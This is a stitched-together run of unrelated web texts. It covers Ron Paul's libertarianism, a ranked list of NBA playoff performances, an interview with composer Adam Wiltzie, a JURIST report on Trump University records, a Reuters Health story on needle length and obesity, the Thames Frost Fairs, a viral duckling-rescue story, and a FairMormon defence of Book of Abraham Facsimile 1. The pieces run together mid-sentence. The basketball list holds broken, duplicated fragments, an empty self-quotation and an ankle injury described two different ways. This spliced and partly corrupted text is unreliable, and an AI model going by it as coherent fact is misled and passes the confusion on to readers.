Even if Paul becomes the anyone-but-Romney candidate, Romney would still be favored to win the nomination; Ron Paul is a very principled and disciplined libertarian, which does not put him near the mainstream Republican platform. As a libertarian, Paul has been very consistent in his belief in small government; he advocates little interference in domestic social policy, domestic economic policy, and foreign policy. Many of the leading Republican politicians have advocated a hands-off approach to the economy, but their record runs the spectrum from true libertarians to heavy influence on the side of certain businesses. Yet, the Republican party has at best mixed platform on government influence on social domestic policy and foreign policy, and very little interest in trimming military spending.Legacies are verified and occasionally invalidated with a players’ postseason record. And while the NBA is very much a team game, individuals have the ability to take over games regardless of the four teammates that they have on the floor with them. These are the games where, as LeBron James said after a historic Game 5 performance vs. the Pistons in the 2007 Eastern Conference finals: “I was able to will my team to victory.”
Michael Jordan’s performances are, naturally, tattered throughout this top 10 list of greatest NBA playoff performances of all time…but may not be quite as high as ESPN ranks them. Here is Bases and Baskets ranking of a select few games that were jaw-dropping, mind-numbing shows put on by present or future Hall of Famers from 1980 to 2012.
10. Dirk Nowitzki, Mavericks: 2011 Western Conference finals, Game 1 vs. Thunder
Points Rebounds Assists Steals Blocks TO FG % Minutes 48 6 4 0 4 2 80 41
80 percent from the field and 24-24 on free throws… Dirk Nowitzki put on an absolute shooting clinic in this game, something he did quite frequently in his 2011 championship run. This game epitomized the absolute demolition that a jump shooting seven-footer could do to a defense. Kevin Durant got a taste of his own medicine this game but redemption was sweet for him against the Mavs in 2012. Regardless, this game cemented Dirk’s legacy as an all-time great, proving that he could perform at an elite level in the playoffs.
9. Tim Duncan, Spurs: 2003 NBA Finals, Game 1 vs. Nets
Points Rebounds Assists Steals Blocks TO FG % Minutes 32 20 6 3 7 1 65 44
In one of the most dominating performances of all time by a big man, Tim Duncan went off on both the offensive and defensive ends of the floor. The stats pretty much say it all—not only did he get 32 points and six assists but he also grabbed 20 rebounds, seven blocks, and even three steals. Vintage Tim Duncan proved that he can thoroughly dominate the game regardless of the lack of flashiness in his game.
8. Isiah Thomas, Pistons: 1988 NBA Finals, Game 6 vs. Lakers
Points Rebounds Assists Steals Blocks TO FG % Minutes 43 3 8 6 1 5 56 44
Isiah Thomas’ incredible performance was nearly top-10 worthy in and of itself. But the third quarter sprained ankle truly amplifies the greatness of the performance. On the NBA’s greatest stage, Thomas had a historic performance against a star-studded Lakers team led by Magic Johnson. Even though the Pistons weren’t able to pull off a win in this game, it lives on as a testament to the sheer will that can overcome the searing pain of injuries.
7. Michael Jordan, Bulls: 1998 NBA Finals, Game 6 vs. Jazz
Points Rebounds Assists Steals Blocks TO FG % Minutes 45 1 1 4 0 1 43 44
This was a classic Jordan playoff game. Although he did not do much but score the basketball, he came through in the clutch and pulled off the single most iconic shot in NBA history. The crossover of Bryon Russell and the finishing touch at the free-throw line earned Jordan the 1998 NBA championship title as he simply posed with his hand in the air as if to say “you just can’t stop me.”
6. Michael Jordan, Bulls: 1997 NBA Finals, Game 5 vs. Jazz
Points Rebounds Assists Steals Blocks TO FG % Minutes 38 7 5 3 1 3 48 44
More so than Isiah Thomas’ broken ankle game, the legendary “Flu Game” was when Michael Jordan managed to handle the Jazz even though he could barely walk off the court under his own power. But h e has a perf ect NBA Finals record of 6-0 for a reason and the first of back-to-back wins again st the Jazz in 1997 and 1998 was remembered best because of this game.
rdan perfo rmance lives on through commercials and pictures of Jordan This Jolives on through commercials and pictures of Jordan holding on to Scottie Pippen as proof that adrenaline and a will to win can overcome some of the most trying physical adversities.
5. James Worthy, Lakers: 1988 NBA Finals, Game 7 vs. Pistons
Points Rebounds Assists Steals Blocks TO FG % Minutes 36 16 10 2 0 5 68 44
“Big Game” James certainly earned that nickname with this triple-double in Game 7 of the NBA Finals. In the ultimate clutch time performance, Worthy tore up the Pistons in every facet of the game, including shooting a staggering 68 percent from the field. This performance was a hallmark of Worthy’s career and certainly helped his Hall of Fame worthiness (pun intended).
4. Michael Jordan, Bulls: 1986 Eastern Conference first round, Game 2 vs. Celtics
Points Rebounds Assists Steals Blocks TO FG % Minutes 63 5 6 3 2 4 54 53
Hall of Famer Larry Bird after this game said “that was God disguised as Michael Jordan.” Not much else you can say about that aside from the fact that this was Michael Jordan single-handedly tearing up a very good Celtics team with a spectacular NBA playoff record 63-point game.
3. LeBron James, Cavaliers: 2007 Eastern Conference finals, Game 5 vs. Pistons
Points Rebounds Assists Steals Blocks TO FG % Minutes 48 9 7 2 0 2 55 50
This was the single most dominant finish to an NBA game in history. LeBron scored 29 of the Cavaliers final 30 points in a double-overtime win against a defensively-minded Detroit Pistons squad.
Nothing that Detroit was throwing at LeBron stopped him from getting to the rim and ultimately willing his team to win. This game defines what it means to put a team on your back. In the words of then-Cavs coach Mike Brown : “My words don’t do justice for what he did.”
2. LeBron James, Heat: 2012 Eastern Conference finals, Game 6 vs. Celtics
Points Rebounds Assists Steals Blocks TO FG % Minutes 45 15 5 0 0 4 73 45
73 percent shooting on a night where the legitimacy of your career was in the balance. The Heat had managed to get their backs to the wall in the Eastern Conference finals, but LeBron came to the rescue and took over the game. From the first couple shots of the game, you could tell he was in the zone and it was going to be something special.
it’s the path through adversity that defines the champion, not just the grand finale. ” This game defined LeBron’s 2012 championship title. In one game, LeBron restored respect (at least for his basketball talent) and proved that his atrocious 2011 NBA Finals were in the past. It was the turning point pushed the Heat over the hump to winning LeBron’s first championship. As I discussed in my LeBron vs. Jordan column, “” This game defined LeBron’s 2012 championship title.
1. Magic Johnson, Lakers: 1980 NBA Finals, Game 6 vs. 76ers
Points Rebounds Assists Steals Blocks TO FG % Minutes 42 15 7 3 1 5 61 47
In Game 6 of the NBA Finals, Laker legend Kareem Abdul-Jabbar was out with a bruised ankle. So what does coach Paul Westhead decide? Only to throw his rookie point guard into the center position. 42 points and 15 rebounds later, the Lakers are champions.Adam Wiltzie is the founding member of Stars of the Lid, A Winged Victory for the Sullen, and The Dead Texan; has composed music for film and television (Lion, Iris, Salero, The Yellow Birds); has had a burgeoning tennis career cut short by injury; and has an unwavering love of tacos. We sat down one gorgeous morning beside a swimming pool in East Los Angeles to chat about all of the above, and of course, he answered Five Questions. Meet Adam.
~~~
Let’s hop into our conversation when we started chatting about sports. The Five Questions are about halfway down.
~~~
Adam: I come from a different background. I don’t really come from an art background. I’m from a sports family, so I wanted to be a professional tennis player. I didn’t get into music until quite late. My godfather won Wimbledon in 1963, Chuck McKinley, so after I had a knee injury, tennis went down the tubes and I needed to find something else. I got into a little bit of art history at school. I love making art, but I have a difficult time being reverential about it. At least in my own terms.
Me: So how do you see how you create art?
Adam: I don’t know. I hardly ever think about it. I don’t know if it’s because I come from a sports background, but I look up and see them as my idols because I find it a little more—I don’t want to say that making art can’t be difficult, there is a struggle, you can suffer in a sense. I struggle more with all the artists that take themselves too seriously. But so do sports people, so…
Me: I’m a huge sports fan as well. I grew up in Boston.
Adam: That’s a big sports town.
Me: Larry Legend. Big Papi most recently. I see sports and art as the same thing. It’s all about preparation and then executing. When it comes to performance, at least. You perform. And when it comes to performance, you have to be prepared. If you’re not prepared, good luck.
Adam: Yeah. It’s all about perspective. You could compare it. But the people I really admire are not really artists as much. I won’t say I don’t appreciate some artists. Eno is a big influence on me, people like that, but I don’t look at them the same way I respect Tim Duncan, for example.
Me: And you grew up in Texas?
Adam: I grew up in New York City. But I went to university in Texas. University of Texas in Austin. People like that… I don’t know why, but if I were to invite two people over for a dinner party, it’d be Tim Duncan and Greg Popovich. I just want to hang out with those guys.
Me: Hell yes! I want to see Popovich and Bill Belichick hang out and talk. Bill’s a stonewall to the media, but he’s just so him. I love those guys.
Adam: And those guys remind me of each other. They’re realists.
Me: That’s what I mean. I love Pop on the sidelines. He’s like, “This is your question? Are you kidding me?”
Adam: So people reading this will probably be very disappointed that I’m into sports.
Me: Some of my favorite friends in the music business are heavily into sports and I don’t know what it is. I see a close comparison and the difference is that you win in sports and you don’t in art.
Adam: There is a simplicity because at the end of a season, you have a winner and a loser. Although I don’t like it when artists treat art as sports. It happens a lot. Which I think is not very good. But one thing I like about Tim, our manager, and the people that are with us, Hauschka, Jóhann [Jóhannson], Dustin [O’Halloran]…we couldn’t be happier for each other’s success.
Me: That’s one thing Dustin talked about when we spoke, he said he was most proud that he’s built these long and deep relationships.
Adam: There are some great people in the art world and people in the music community we’ve met—especially since Dustin and I met in Europe—people like Ben Frost and Tim Hecker, people we just met touring in Europe who have become really close friends of ours. And we couldn’t be happier for the things that happen to them. And we’re not competitive. That’s a good thing.
Me: There’s plenty of success out there for everybody.
Adam: I think so.
Me: So what brought you to Belgium?
Adam: Better quality of life.
Me: And Brian [McBride of Stars of the Lid] lives here in L.A.?
Adam: Yeah, he’s lived here a long time.
Me: I feel like L.A. is absorbing a lot of musicians. It’s a really rad place.
Adam: I don’t think I would ever live here, but I love coming here. My manager, my film scoring agent, they’re based here. I’m totally fine with L.A.
Me: I listened to Iris for the first time recently. Dustin gave me a copy of the record. It was so sweet of him. It’s a really beautiful score, I really appreciate it.
Adam: Yeah, we’re pretty happy with the way it turned out.
Me: Well, let’s hop into the questions…
What is your greatest fear?
Getting eaten by a shark.
Me: And where does that stem from?
Adam: I don’t know, maybe the murky unknown. I remember I was in the deep end of the pool and when I couldn’t see what was underneath me, I could feel myself getting paranoid.
Me: In a swimming pool.
Adam: When I was a child. Not anymore. [Laughter] So it’s definitely getting eaten by a shark.
What’s something you don’t currently know but feel compelled to know before you die?
How to build my own house. Which is about to happen. I’m building a new house in Belgium and it’s all about to come together and it’s something I’ve always wanted to do. I’m building a house and studio complex outside of Brussels. It’s something I’ve always wanted to do…to build my own place. I never bought my own place because I’ve always wanted to build it. There will be solar panels and things like that—it probably stems from the problems I’ve seen from the [USA] go down. And Belgium, being the country I live in, has really great subsidies for people that are trying to live greener. They really encourage it and they make it possible through the government. It’s nice to live in a place that’s really pushing, encouraging, and giving tax benefits to its people. It’s going to be really fun and exciting and also kind of terrifying because I’ve never done anything like this from the ground up.
Me: What’s the process? Do you help design it?
Adam: Yeah, I have some architects that are coming.
Me: Then you talk it out?
Adam: Basically, it started as a Pinterest page. And I showed them things—I’m building things, we call them béton, basically concrete, two structures. Studio and a house.
How do you define failure?
I am my harshest critic and I generally have a very difficult time being reverential about myself. I didn’t realize this when I started—because I’ve been putting out records since 1993 or so—I’m glad I started early and kept leaving the previous work back and then pushing forward because there are now these time capsules of my life. I don’t really look at them as anything in the scope of failures, they are just these things that I did.
Me: Do you have any moments in your life that stick out as failures? Not necessarily in your art, but in any way?
Adam: Tennis was pretty disappointing that it didn’t turn out like I imagined. Still to this day, that’s the thing I love the most. I love watching tennis. I wish I could have gone further. I had a lot of potential. You can be good, but to be able to make the step like someone like Federer—or even an average player—would be an incredible feat.
How do approach collaboration?
One thing I realize and I love about collaboration is that you could never do it by yourself. After all the years of doing Stars of the Lid, to be able to again find someone like Dustin—because it’s only been since 2011 when we put out our first record, so it’s in infancy still. But it’s been pretty fruitful and it’s resonated with people. It’s actually been great to find a way to collaborate with someone again at this level. I find it very rewarding. I also find it very easy—every artist says they don’t have an ego, I’m sure I do—but it’s nice to realize this later in life that sometimes you have a belief, “Oh this song needs to sound like this” but to just trust someone else and to give some of yourself to someone else, it’s kind of romantic in a way. It feels good that sometimes I might not think it was the best idea, but someone feels strongly about it you can say, “Hey man, let’s follow your lead on this one.”
Me: That idea of give and take is very rewarding when the process is done because you see the thing that was in your blind spot that you didn’t see until it was finished and you go, “Oh my god, I’m glad we didn’t make that decision that I thought was the best.”
Adam: Absolutely.
How do you define being "in love"?
I don’t know if I can because I don’t know if I ever have been.
Me: You ever felt like you’ve been close?
Adam: Sure. But I don’t know what it felt like because my head was so cloudy. Being in love is a bit like feeling out of control. And losing yourself. You know, I was just mentioning it regarding collaboration. So I don’t know if I have a good response for being in love.
What will you miss the most when you’re gone?
Tacos. A hundred percent.
Me: Now that you’re in L.A. you have access to some of the best!
Adam: Oh man, I’m going to have some good tacos!
Me: If you have a chance to go to the west side, in Venice, there’s this place called La Cabaña.
Adam: It’s the best?
Me: Well, I get the enchiladas, which are amazing, but they have tacos for sure.
Adam: OK, I’ll try that because Dustin has family over there. I think Dustin and I are going to Salazar for lunch today, you been there?
Me: Nah.
Adam: It’s over there by—what do you call this place? It’s this weird little area by the 5 [freeway] and the 110 [freeway]. It’s this mystery neighborhood.
Me: I’ll Google it for sure.[JURIST] The US District Court for the Southern District of California [official website] ordered [order, PDF] Republican presidential nominee Donald Trump [political website] on Friday to release internal documents pertaining to Trump University, the terminated education program that is currently the focus of two class action lawsuits. The suits were brought [WP report] by two San Diego students who accused Trump University of making false promises to those that enrolled. The Washington Post [official website] intervened in the case and requested the court to unseal exhibits of public interest by way of the First Amendment right of access. Judge Gonzalo Curiel granted the Post’s request, finding that Trump’s status as the Republican front-runner of the 2016 presidential election places “the integrity of [the] court proceedings at issue.” While Trump argued that the release of trade secrets and business playbooks would damage the possibility of revitalizing the program, Curiel found that such assertions were not well supported. In response to the order, Trump expressed concern that the judge issued a politically biased determination. Curiel has currently set a trial date for November to settle the matter.
Trump University was a real-estate educational program that operated [CNN report] from 2005 until its closing in 2010. Though the program had no physical location and was not licensed as an educational institution, it enrolled an estimated 10,000 students in classes geared towards achieving business success. In 2013, New York Attorney General Eric Schneiderman [official profile] brought [NYT backgrounder] a $40 million lawsuit against Trump University accusing the program of defrauding over 5,000 students.NEW YORK (Reuters Health) - Our ever-expanding waistlines may have outgrown the doctor’s needle, researchers say, in what could be another casualty of the obesity epidemic.
A medical assistant injects a vaccine in a file photo. REUTERS/Michael Buholzer
In a new study, the researchers report that using a standard 1-inch needle to immunize obese adolescents against hepatitis B virus produced a much weaker effect than using a longer needle.
“As obesity rises in the US, we need to be aware that the standard of care may have to change to protect obese youth,” study co-author Dr. Amy Middleman of Baylor College of Medicine in Houston told Reuters Health.
Over three years her team vaccinated 22 young women and two young men in the shoulder, randomly assigning them to be injected with either a 1-inch or a 1.5-inch needle.
Once injected, vaccines trigger production of small molecules called antibodies, which kick-start our immune system if we are ever attacked by the virus again.
The two groups turned out to have different antibody counts depending on the needle used. In those injected with the short one, the number was almost halved.
Although everyone in the study had enough antibodies to be considered protected against hepatitis B, a lower count generally means a less robust response.
“It gives us more evidence of the importance of choosing the right needle length,” said Middleman, “because we just don’t know what the impact could be in other vaccines.”
The results are no surprise, said Dr. Gregory Poland, who studies vaccines at the Mayo Clinic in Rochester, Minnesota. For years, doctors have known that vaccines tend not to work as well in heavy people. Whether the obese have weaker immune systems, or fat keeps shorter needles from reaching muscles, where the vaccines can affect immune cells, was unclear.
The introduction of the hepatitis B vaccine in the 1980s offered some clues. Soon after doctors began using the vaccine, they realized that it was failing to protect some female nurses.
At the time, the shot was given in the buttock, Poland told Reuters Health, and was thwarted by the padding there.
Instead of entering the muscle as it was supposed to, the vaccine apparently was broken down in the fat tissue, where it had little chance to affect immune cells. So doctors began giving the shot in the less-padded shoulder.
With the obesity epidemic now adding extra insulation to the shoulder, “our needles are going to have to be longer,” Poland said.
And those long needles aren’t as unpleasant as they sound. In fact, Poland said, “they turn out to be less painful and have fewer side effects.”
The Centers for Disease Control and Prevention recommends longer needles in obese patients, but it is unclear how many doctors follow these guidelines, or even know about them.
Women are more affected by needle length than men, because their fat distribution is different. But even obese women shouldn’t be overly concerned until more research has been done, Middleman cautioned.
“Should you go back and get all your immunizations repeated?” she said, “No, I don’t think so.”
SOURCE: Pediatrics, March 2010 (published online February 8, 2010).Between 1600 and 1814, it was not uncommon for the River Thames to freeze over for up to two months at time. There were two main reasons for this; the first was that Britain (and the entire of the Northern Hemisphere) was locked in what is now known as the ‘Little Ice Age’. The other catalyst was the medieval London Bridge and its piers, and specifically how closely spaced together they were. During winter, pieces of ice would get lodged between the piers and effectively dam up the river, meaning it was easier for it to freeze.
Although these harsh winters often brought with them famine and death, it was the local Londonders – as enterprising and resilient as ever – who decided to make the most of it and set up the Thames Frost Fairs. In fact, between 1607 and 1814 there were a total of seven major fairs, as well as countless smaller ones.
These Frost Fairs would have been quite a spectacle, full of hastily constructed shops, pubs, ice skating rinks… everything that you would expect in the crowded streets of London but on ice!
The first recorded frost fair was during the winter of 1607 / 08. During December the ice had been firm enough to allow people to walk between Southwark to the City, but it was not until January when the ice became so thick that people started setting up camp on it. There were football pitches, bowling matches, fruit-sellers, shoemakers, barbers… even a pub or two. To keep the shopkeepers warm, there were even fires within their tents!
The Frost Fair in 1683 / 84
During the Great Winter of 1683 / 84, where even the seas of southern Britain were frozen solid for up to two miles from shore, the most famous frost fair was held: The Blanket Fair. The famous English writer and diariest John Evelyn described it in extensive detail, writing:
Coaches plied from Westminster to the Temple, and from several other staires to and fro, as in the streetes, sliding with skeetes, a bull-baiting, horse and coach races, puppet plays and interludes, cookes, tipling and other lewd places, so that it seemed a bacchanalian triumph or carnival on the water, whilst it was a severe judgement on the land, the trees not onely splitting as if lightning-struck, but men and cattle perishing in divers[e] places, and the very seas so lock’d up with ice, that no vessels could stir out or come in.
Even kings and queens would join in the festivities, with King Charles reportedly enjoying a spitroasted ox at this very fair.
In this painting from 1677, you can see how thick the ice would have been on the Thames.
However, as you may imagine from holding a festival on a rather precarious piece of ice, there was the occasional tragedy. During the fair of 1739 a whole swathe of ice gave away and swallowed up tents and businesses as well as people.
Another tragedy occurred at the fair in 1789 where melting ice dragged away a ship which was anchored to a riverside pub in Rotherhithe. As the ‘Gentleman’s Magazine’ wrote at the time:
“The captain of a vessel lying off Rotherhithe, the better to secure the ship’s cables, made an agreement with a publican for fastening a cable to his premises. In consequence, a small anchor was carried on shore, and deposited in the cellar, while another cable was fastened round a beam in another part of the house. In the night the ship veered about, and the cables holding fast, carried away the beam, and levelled the house with the ground, by which accident five persons asleep in their beds were killed.”
The last ever Frost Fair held in 1814 / 15
By the 1800’s the climate had started to warm, the severity of the winters had waned and the last ever London Frost Fair took place in the January of 1814. Although only lasting for five days, this was to be one of the largest fairs on record. Thousands of people turned up every day, and there was said to be every possible form of entertainment including a parading elephant!
“At every glance, there was a novelty of some kind or other. Gaming was carried on in all its branches. Many of the itinerant admirers of the profits gained by E O Tables, Rouge et Noir, Te-totum, wheel of fortune, the garter, were industrious in their avocations, and some of their customers left the lures without a penny to pay the passage over a plank to the shore. Skittles was played by several parties, and the drinking tents were filled by females and their companions, dancing reels to the sound of fiddles, while others sat round large fires, drinking rum, grog, and other spirits. Tea, coffee, aud eatables, were provided in abundance, and passengers were invited to eat by way of recording their visit. Several tradesmen, who at other times were deemed respectable, attended with their wares, and sold books, toys, and trinkets of almost every description.”
Perhaps the river would have frozen over a few more times before the end of the Little Ice Age, but the demolishing of the medieval London Bridge in 1831 meant that this was not to be. Instead, the fair of 1814 would be the last.Claim: Photographs show ducklings that survived a 10-foot jump from an office building in downtown Spokane.
TRUE
Example: [Collected via e-mail, July 2008]
Something really amazing happened in Downtown Spokane this week and I had to share the story with you. Some of you may know that my brother, Joel, is a loan officer at Sterling Bank. He works downtown in a second story office building, overlooking busy Riverside Avenue. Several weeks ago he watched a mother duck choose the cement awning outside his window as the uncanny place to build a nest above the sidewalk. The mallard laid nine eggs in a nest in the corner of the planter that is perched over 10 feet in the air. She dutifully kept the eggs warm for weeks and Monday afternoon all of her nine ducklings hatched.
Joel worried all night how the mamma duck was going to get those babies safely off their perch in a busy, downtown, urban environment to take to water, which typically happens in the first 48 hours of a duck hatching. Tuesday morning, Joel came to work and watched the mother duck encourage her babies to the edge of the perch with the intent to show them how to jump off! The mother flew down below and started quacking to her babies above. In his disbelief Joel watched as the
first fuzzy newborn toddled to the edge and astonishingly leapt into thin air, crashing onto the cement below. My brother couldn’t watch how this might play out. He dashed out of his office and ran down the stairs the sidewalk where the first obedient duckling was stuporing near its mother from the near fatal fall.
Joel looked up. The second duckling was getting ready to jump! He quickly dodged under the awning while the mother duck quacked at him and the babies above. As the second one took the plunge, Joel jumped forward and caught it with his bare hands before it hit the cement. Safe and sound, he set it by the mamma and the other stunned sibling, still recovering from its painful leap. One by one the babies continued to jump to join their anxious family below. Each time Joel hid under the
awning just to reach out in the nick of time as the duckling made its free fall. The downtown sidewalk came
to a standstill. Time after time, Joel was able to catch the remaining 7 and set them by their approving mother.
At this point Joel realized the duck family had only made part of its dangerous journey. They had 2 full blocks to walk across traffic, crosswalks, curbs, and pedestrians to get to the closest open water, the Spokane River. The onlooking office secretaries then joined in, and hurriedly brought an empty copy paper box to collect the babies. They carefully corralled them, with the mother’s approval, and loaded them up into the white cardboard container. Joel held the box low enough for the mom to see her brood. He then slowly navigated through the downtown streets toward the Spokane River, as the mother waddled behind and kept her babies in sight. As they reached the river, the mother took over and passed him, jumping into the river and quacking loudly. At the water’s edge, the Sterling Bank office staff then tipped the box and helped shepherd the babies toward the water and to their mother after their adventurous ride.
All nine darling ducklings safely made it into the water and paddled up snugly to mamma duck. Joel said the mom swam in circles, looking back toward the beaming bank workers, and proudly quacking as if to say, ‘See, we did it! Thanks for all the help!
Thankfully, one of the secretaries had a digital camera and was able to capture most of it (except the actual mid-air catching) in a series of attached photographs. Please join me in celebrating my brother — The Downtown Duck Hero!
[Ed. note: Yes, we’re aware that the captions to the pictures displayed above reference nine ducklings, even though ten are plainly visible in some photographs.]
Variations: A March 2009 variant shifted the setting of this piece from Spokane to San Antonio;
the duckling savior to “Michael R” (said to be an accounting clerk instead of a loan officer); and the bank to “Frost Bank.” Also, instead of just “onlooking secret |
are told that it points to two things, a man and a country, indicating the special guest-to-host relationship between them. Most of the time the lotus announces a party situation, adding brightness to the occasion; etiquette required guests to a formal party to bring a lotus offering to the host--hence the flower served as a token both of invitation and admission[49]. [E.A. Wallis Budge] observed how in the Kerasher Manuscript, in which the person being presented wears exactly the same peculiar lotus headdress as our Shulem (figure 5), "instead of the bullock-skin dripping with blood, which is generally seen suspended near the throne of the god, masses of lotus flowers are represented, giving a totally different aspect to the scene[50]. Yet, while the lotuses "seem to have figured prominently" in formal occasions, according to Aylward Blackman, we still do not understand the flower offerings, any more than we do the combination of lotus stands and small libation vessels such as our figure 3.[51]. It would now seem that these tall and narrow Egyptian ritual stands originated in Canaan.[52] [...] The lotus is definitely a welcome to Egypt from the king to human and divine visitors; the divinity who received the token reciprocated by responding to the king "I give thee all the lands of thy majesty, the foreign lands to become they slaves. I give thee the birds, symbols of thine enemies"[53] In receiving a lotus, the king in return ritually receives the land itself, while the god in accepting a lotus from the king promises him in return the reverent obedience of his subjects.[54] "The flowers are mostly heraldic plants... associated with the crowns of Upper and Lower Egypt," for in some the main purpose of the lotus rites is to "uphold the dominion of the King" as nourisher of the land.[55] Moreover, its significance is valid at every level of society, the louts being a preeminent example of how mythological themes and religious symbolism were familiarly integrated into the everyday life of the Egyptians.[56]. [...] The numerous studies of the Egyptian lotus design are remarkably devoid of conflict, since this is one case in which nobody insists on a single definitive interpretation. The points emphasized are (1) The abstract nature of the symbol, containing meanings that are far from obvious at first glance (2) the lotus as denoting high society, especially royal receptions, at which the presentation of a lotus to the host was obligatory [...]; to be remiss in lotus courtesy was an unpardonable blunder, for anyone who refuses the lotus is under a curse, (3) the lotus as the symbol of Lower Egypt, the Delta with all its patriotic and sentimental attachments ; (4) the lotus as Nefertem, the defender of the border; (5) the lotus as the king or rule, defender, and nourisher of the land; (6) the lotus as the support of the throne at the coronation. It is a token of welcome and invitation to the royal court and the land, proffered by the king himself as guardian of the border.[57]
Pillars of Heaven (Figure 11)
Kevin Barney:
In Hebrew cosmology, the raqîa’ or “firmament” was believed to be a solid dome, supported by pillars.57 The raqîa’ in turn was closely associated with the celestial ocean, which it supported.58 In the lower half of Facsimile 1, we have the raqîa’ (1) connected with the waters, as with the celestial ocean, (2) appearing to be supported by pillars, and (3) being solid and therefore capable of serving itself as a support, in this case for the lion couch. The bottom half of Facsimile 1 would have looked to J-red very much like a microcosm of the universe (in much the same way that the divine throne chariot of Ezekiel 1—2, which associates the four four-faced fiery living creatures with the raqîa’ above their heads on which God sits enthroned, is a microcosm of the universe). The Egyptian artist’s perspective is not necessarily a limitation on J-red. The stacking effect of waters apparently both being supported and acting as a support would have suggested to J-red the Hebrew conception of the raqîa’. [58]
Firmament over our heads (Figure 12)
The Hebrew term "Raukeeyang" is a transliteration of the word "raqîa’". In Figure 12, Joseph Smith describes "Raukeeyang" as the firmament over our heads and a crocodile swims through it. This makes sense in light of modern scholarship that identifies Egyptian's conception of heaven as a "Heavenly Ocean" with this figure. LDS Scholars have cited Non-LDS Egyptologist Erik Hornung whose work supports this. [59]
"Shamau" is presented as related to samayim, a dual form meaning "heaven(s)" "Shaumahyeem" using the Sephardic Hebrew transliteration Joseph learned from Joshua Seixas as opposed to the Ashkenazic method.
Louis Zucker, a Jewish scholar from the University of Utah wrote:
Another such word is Shaumahyeem [exactly the Seixas pronunciation], heavens, in the sense of Genesis 1; Shaumau is an invented singular, unknown to the Bible[60]
Response to claim: "The following image is what Facsimile 1 is really supposed to look like"
The author(s) of Letter to a CES Director (April 2013 revision) make(s) the following claim:
[The Charles Larson restoration] is what Facsimile 1 is really supposed to look like, based on Egyptology and the same scene discovered elsewhere in Egypt.
FairMormon Response
Fact checking results: This claim is false
Jump to Detail:
Question: Does Facsimile 1 show a hand, or does it show the wing of a second bird?
The high-resolution photos of the papyri clearly show that it was a hand, not a wing
The Charles Larson restoration has a number of inaccuracies.
The Larson restoration presumes that the upper hand represented in Facsimile 1 is instead the wing of a bird. There are several elements which disprove this.
It is clear that the Egyptian artist drew wings in a specific manner, as can be observed by the wing of the bird on the right.
The two hands have distinct thumbs.
The assumption that ink spots on the hand represent spots on the birds wing is disproven by close examination of the original, which shows ink traces that indicate that the lines were originally connected.
It is also clear that the missing ink correlates with cracks in the papyri. Note that the cracks extend across all fingers, and that the ink has flaked off along the cracks.
Note that the index finger (the one next to the thumb) is continuous in the original, but was broken into two parts in the Larson restoration.
Bell: "the questionable traces above the head of the Osiris figure are actually the remains of his right hand"
(non-Mormon) Egyptologist Lanny Bell
Let me state clearly at the outset my conviction that the questionable traces above the head of the Osiris figure are actually the remains of his right hand; in other words, Joseph Smith was correct in his understanding of the drawing at this point. Ashment 1979, pp. 36, 41 (Illustration 13), is very balanced in his analysis of the problem, presenting compelling arguments for reading two hands; Gee 1992, p. 102 and n. 25, refers to Michael Lyon in describing the "thumb stroke" of the upper (right) hand; cf. Gee 2000, pp. 37-38; and Rhodes 2002, p. 19, concludes: "... a careful comparison of the traces with the hand below as well as the tip of the bird's wing to the right makes it quite clear that it is the other hand of the deceased."...An important clue is provided in the orientation of the thumbs of the upraised hands toward the face. This is the expected way of depicting the hands of mourners and others when they are held up to (both sides of) their heads or before their faces.[61]
Question: Should the restoration of Facsimile 1 include a phallus?
The Larson restoration adds a phallus on the reclining figure, something that is never seen on a clothed Osiris figure
The Larson restoration adds a phallus on the reclining figure, something that is never seen on a clothed Osiris figure.
The assumption appears to be that the hash marks on the legs represent breeches. One can also observe this assumption on the Hedlock restoration contained in the Book of Abraham. However, an examination of the original papyrus shows that the legs of the figure were drawn, and that a wraparound Egyptian kilt was then drawn over them. The clothing is not a pair of breeches. This detail is not even in the Larson image, as the two lines distinguishing the legs and the kilt are merged into a single, fat line.
It can be seen in the closeup detail that the hash lines of the kilt extend beyond the lines of the leg, intersecting the outer line of the kilt.
It can also be seen that the kilt is curved, whereas the legs are straight.
The Larson restoration adds a phallus (which we have chosen to obscure) in the location of the figure's navel, based upon the location of the intersection of the legs and an estimate of where the top of the kilt would appear.
Bell: "there would not be enough available space to restore the hand of Anubis, the erect phallus of the Osiris, and the body and wings of Isis"
(non Mormon) Egyptologist Lanny Bell:
[T]he representation of an ithyphallic figure wearing a kilt would not be unparalleled. However, judging from the position of the erect phallus of the reclining kilted earth god Geb in a cosmological scene on Dynasty 21 Theban coffins now in Turin and Bristol, there would not be enough available space to restore the hand of Anubis, the erect phallus of the Osiris, and the body and wings of Isis in P.JS I: Anubis would have to be grasping the phallus himself and assisting Isis in alighting on it—which is unimaginable....In this area, I believe the Parker-Baer-Ashment reconstruction (with its "implied" erect phallus) is seriously flawed.[62]
Question: Was the original head of the priest in Facsimile 1 actually the jackal head of Anubis?
The high-resolution photos show evidence that the head of the priest was originally the jackal-head of Anubis
The head of the priest in the Hedlock restoration appears to simply copy the head of the reclining figure. An examination of the papyrus, however, shows evidence that the head was originally that of Anubis. In this case, the Larson restoration appears to be correct. Theologically, it would not matter to scenes such as this one. Ancient art depcting religious situations such as this frequently had other people impersonating other Gods. Thus, even if this is an incorrect restoration, it would not matter to the overall message of the scene portrayed.
The priest of Elkenah likely could have been wearing an Anubian headdress while performing this scene and the interpretation would still be, for all intents and purposes, correct. Those performing rituals often donned a mask impersonating a particular god for theological effect.[63]
Note that there is a portion of the back of Anubis's headdress visible in the original.
It is more likely that the back of the headdress showed hair rather than a solid as represented in the Larson image.
Question: Was the priest depicted in Facsimile 1 holding a knife or some other object?
In typical representations of the "lion couch" scene, the priest is holding an object
Since Facsimile 1 appears to be a fairly typical scene from Egyptian funerary texts, it is noted that other similar Egyptian motifs do not show the priest holding a knife. A proposed restoration of Facsimile 1 by egyptologist Lanny Bell, for example, shows the priest holding a cup in his hand over the figure on the lion couch.
Eyewitnesses, one of whom was an anti-Mormon, described a man bound and laid on the lion couch, and a priest with a knife in his hand
Many Latter-day Saint scholars believe that the scroll was damaged after Joseph translated the vignette and some evidence seems to support this view. One early Latter-day Saint who saw the papyri in 1841, for instance, described them as containing the scene of an altar with "'a man bound and laid thereon, and a Priest with a knife in his hand, standing at the foot, with a dove over the person bound on the Altar with several Idol gods standing around it.'"[64] Similarly, Reverend Henry Caswall, who visited Nauvoo in April 1842, had a chance to see some of the Egyptian papyri. Caswall, who was hostile to the Saints, described Facsimile 1 as having a "'man standing by him with a drawn knife.'"[65]
Due to the damage to the papyrus, it is impossible to determine what the priest is holding in his hand
